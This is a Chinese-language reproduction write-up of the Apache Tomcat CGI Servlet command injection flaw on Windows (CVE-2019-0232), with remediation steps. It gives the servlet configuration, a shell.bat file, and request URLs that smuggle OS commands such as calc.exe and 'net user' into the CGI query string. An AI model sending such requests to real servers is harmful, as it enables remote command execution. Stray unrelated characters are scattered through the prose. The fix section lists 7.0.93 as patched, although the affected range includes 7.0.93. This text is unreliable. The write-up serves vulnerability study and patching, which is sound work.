2019年4月10日,Apache Tomcat報(bào)告了一個(gè)漏洞稱在windows上運(yùn)行的Apache Tomcat存在遠(yuǎn)程代碼執(zhí)行漏洞缩赛,漏洞編號(hào)為CVE-2019-0232耙箍。在Windows平臺(tái),遠(yuǎn)程攻擊者向CGI Servlet發(fā)送一個(gè)精心設(shè)計(jì)的請(qǐng)求酥馍,在具有Apache Tomcat權(quán)限的系統(tǒng)上注入和執(zhí)行任意操作系統(tǒng)命令辩昆。漏洞成因是當(dāng)將參數(shù)從JRE傳遞到Windows環(huán)境時(shí),由于CGI_Servlet中的輸入驗(yàn)證錯(cuò)誤而存在該漏洞旨袒。CGI_Servlet默認(rèn)是關(guān)閉的汁针。
影響范圍
Apache Tomcat 9.0.0.M1 to 9.0.17
Apache Tomcat 8.5.0 to 8.5.39
Apache Tomcat 7.0.0 to 7.0.93
漏洞復(fù)現(xiàn)
復(fù)現(xiàn)環(huán)境
本次漏洞復(fù)現(xiàn)使用XAMPP 3.2.2集成環(huán)境。
Tomcat : 7.0.56
Java: 1.8.0_121
0X00修改配置文件
修改web.xml
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
<!-- The mapping for the CGI Gateway servlet -->
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>
修改content.xml
<Context privileged="true">
<!-- Default set of monitored resources. If one of these changes, the -->
<!-- web application will be reloaded. -->
<WatchedResource>WEB-INF/web.xml</WatchedResource>
<WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>
<!-- Uncomment this to disable session persistence across Tomcat restarts -->
<!--
<Manager pathname="" />
-->
</Context>
在/webapps/ROOT/WEB-INF下創(chuàng)建cgi-bin文件夾砚尽,并創(chuàng)建shell.bat文件施无。
shell.bat文件內(nèi)容如下,并啟動(dòng)tomcat。
@echo off
eco Content-Type: text/plain
echo.
set foo=%~1
%foo%
訪問測(cè)試
http://127.0.0.1:8080/cgi-bin/shell.bat?&C:\Windows\System32\calc.exe
http://127.0.0.1:8080/cgi-bin/shell.bat?&C:\Windows\System32\net.exe user
修復(fù)措施
一必孤、受影響的用戶應(yīng)該升級(jí)到以下版本:
Apache Tomcat 9.0.18或更高版本
Apache Tomcat 8.5.40或更高版本
Apache Tomcat 7.0.93或更高版本
二猾骡、臨時(shí)解決方案
在web.xml文件中將CGI Servlet初始化參數(shù)enableCmdLineArguments設(shè)置為false來進(jìn)行防護(hù)。